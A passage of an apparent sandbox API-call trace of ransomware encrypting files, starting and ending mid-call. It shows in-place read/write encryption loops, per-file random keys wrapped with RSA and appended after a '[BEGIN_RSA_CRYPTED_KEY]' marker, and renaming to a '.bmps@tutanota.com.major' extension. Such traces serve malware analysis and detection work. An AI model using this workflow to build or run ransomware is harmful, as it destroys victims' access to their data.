nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.880] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f27590 [0119.880] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.892] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.905] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2073a76 [0119.905] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.911] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.456] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21bff5c [0120.456] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.475] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.492] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x230c442 [0120.492] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.507] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.525] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2458928 [0120.526] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.532] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.554] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x25a4e0e [0120.554] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.559] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.673] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x26f12f4 [0120.673] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.704] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.718] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x283d7da [0120.718] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.729] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.744] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2989cc0 [0120.744] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.748] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.772] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2ad61a6 [0120.772] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.787] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.868] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2c2268c [0120.868] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.883] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.920] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d6eb72 [0120.920] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0120.928] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0121.001] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2ebb058 [0121.001] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0121.020] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0121.037] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x300753e [0121.037] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0121.053] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0121.071] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3153a24 [0121.071] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0121.100] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0121.266] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x329ff0a [0121.266] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0121.271] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3147020 | out: hHeap=0x570000) returned 1 [0121.271] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x32a2020 | out: hHeap=0x570000) returned 1 [0121.271] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xad1384b [0121.272] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0121.272] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0121.306] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0121.306] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0121.306] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0121.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x58e090 [0121.306] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e090, pcchString=0x2e3f9a8 | out: pszString="Caru24s7Lgzqiwry6mfXKFjrC9ujxmkJruqLhfQAy4hJfp3Yl/TKQi+EUVQkKaRD\nAvCDRphdpjfQz7NL/ygkiTib3egS3nz1iRh+RgioCw4c/AUt5uUvAMK/P7l4+LLV\ncbR9m9qA71qibKrPJO7Eye+/+RRTv7PWKkFHYJBnxhFBzosRGxSPXCj1MdbVQZeE\nkY0AVskNJUVClg1lS02oZI+G+IPoiPP113NWTRZwJp47KoeUo+KxLSCfJGyDSn6m\nXQczZNgnzs5lAFAXLY/yGVEa6hqS1O+i6v7+S/ZKW0W+QD4WPwoCm29pdFlDEL+l\nXL+qLls15vpNJziXdoqTAg==\n", pcchString=0x2e3f9a8) returned 1 [0121.306] WriteFile (in: hFile=0x454, lpBuffer=0x58e090*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e090*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0121.307] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0121.307] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0121.307] CloseHandle (hObject=0x454) returned 1 [0121.653] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e090 | out: hHeap=0x570000) returned 1 [0121.654] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="\\588bce7c90097ed212\\netfx_Core.mzz.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0121.661] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0121.661] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0121.661] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0121.662] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0121.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7ac8 [0121.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0121.662] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0121.662] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\header.bmp", dwFileAttributes=0x80) returned 1 [0121.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7c30 [0121.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0121.662] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7c30 | out: hHeap=0x570000) returned 1 [0121.662] CreateFileW (lpFileName="\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0121.662] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3628) returned 1 [0121.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe2c) returned 0x58e090 [0121.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe2c) returned 0x5ae388 [0121.662] ReadFile (in: hFile=0x454, lpBuffer=0x58e090, nNumberOfBytesToRead=0xe2c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e090*, lpNumberOfBytesRead=0x2e3f9b4*=0xe2c, lpOverlapped=0x0) returned 1 [0121.664] SetFilePointer (in: hFile=0x454, lDistanceToMove=-3628, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.664] WriteFile (in: hFile=0x454, lpBuffer=0x5ae388*, nNumberOfBytesToWrite=0xe2c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ae388*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe2c, lpOverlapped=0x0) returned 1 [0121.664] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e090 | out: hHeap=0x570000) returned 1 [0121.664] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ae388 | out: hHeap=0x570000) returned 1 [0121.664] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe2c [0121.664] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0121.664] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0121.664] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0121.664] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0121.665] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0121.665] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5ae388 [0121.665] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5ae388, pcchString=0x2e3f9a8 | out: pszString="9tj6m8upVIlfzjuEBAf/J6I2cgVg/EZ0G7NmGf6OTarw8vqSScV6HXhmbV0iqfmZ\nNT6vItKswVWhm3610XHInmv9Ra2RpH1mSlkezwN+nDGBQeZ/MrKE1ItZl2NnFR8x\nIdfD3/Oc/g/rhI7ewZhj9zNLod88Ole7tiDKRdXebAl658qhDAAftYHluPS5tnwz\nKNTFL9lzY96nMRXTOu0X7Lw+r/fM/XdUEkwYaQJI9lvZvq682IfT5R6iF3dqrdJf\nVGBESsJUShSJeTWj91gy4apZn0KpcRRiqvPSkQpns93lruwDFfgZW5bCXHiVJNio\nbH9pI6bD9+koCMAVVswepQ==\n", pcchString=0x2e3f9a8) returned 1 [0121.665] WriteFile (in: hFile=0x454, lpBuffer=0x5ae388*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ae388*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0121.665] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0121.665] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0121.665] CloseHandle (hObject=0x454) returned 1 [0121.666] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ae388 | out: hHeap=0x570000) returned 1 [0121.666] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), lpNewFileName="\\588bce7c90097ed212\\header.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\header.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0121.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0121.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0121.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ac8 | out: hHeap=0x570000) returned 1 [0121.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.667] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0121.667] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca80 [0121.667] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0121.667] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\DisplayIcon.ico", dwFileAttributes=0x80) returned 1 [0121.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0121.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0121.668] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0121.668] CreateFileW (lpFileName="\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0121.668] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=88533) returned 1 [0121.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x159d5) returned 0x5cdfe8 [0121.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x159d5) returned 0x5e39c8 [0121.668] ReadFile (in: hFile=0x454, lpBuffer=0x5cdfe8, nNumberOfBytesToRead=0x159d5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdfe8*, lpNumberOfBytesRead=0x2e3f9b4*=0x159d5, lpOverlapped=0x0) returned 1 [0121.730] SetFilePointer (in: hFile=0x454, lDistanceToMove=-88533, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.730] WriteFile (in: hFile=0x454, lpBuffer=0x5e39c8*, nNumberOfBytesToWrite=0x159d5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e39c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x159d5, lpOverlapped=0x0) returned 1 [0121.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdfe8 | out: hHeap=0x570000) returned 1 [0121.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e39c8 | out: hHeap=0x570000) returned 1 [0121.732] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x159d5 [0121.732] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0121.732] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0121.732] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0121.732] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0121.734] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0121.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5ae388 [0121.734] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5ae388, pcchString=0x2e3f9a8 | out: pszString="mcRHc9wa7hVPptoH7mkVFpCmNtt/V2k4H0+B0/kPT/1IYZIAC52/K0tNy1sONqxW\nInKfRlcuLbxq4fiGDET/Y94f5lsS6Liq5bhml+lXHL+zHVG9m/zhFAwgEu7KbN8e\nXxDV/eYciEAK9H+EUnNsePMgDHvMVdAv6R9BIwQb28H7eMLQbMcVZdwYupOukCbL\n6htmP9MwxPqtzLkYCB/iFDJ0E+SvQx2EWIbZQQc5RP9MAztDFKCeR0xdhINbge4p\nHdjJjm1vz1gZvNgpjbSAOv6dnJJHnG6s71Rto/KrHoy0CJCd/KyRqlZ4a2klFB/A\nOEQfMNgkztZNJmnAe98Csw==\n", pcchString=0x2e3f9a8) returned 1 [0121.734] WriteFile (in: hFile=0x454, lpBuffer=0x5ae388*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ae388*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0121.734] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0121.734] WriteFile 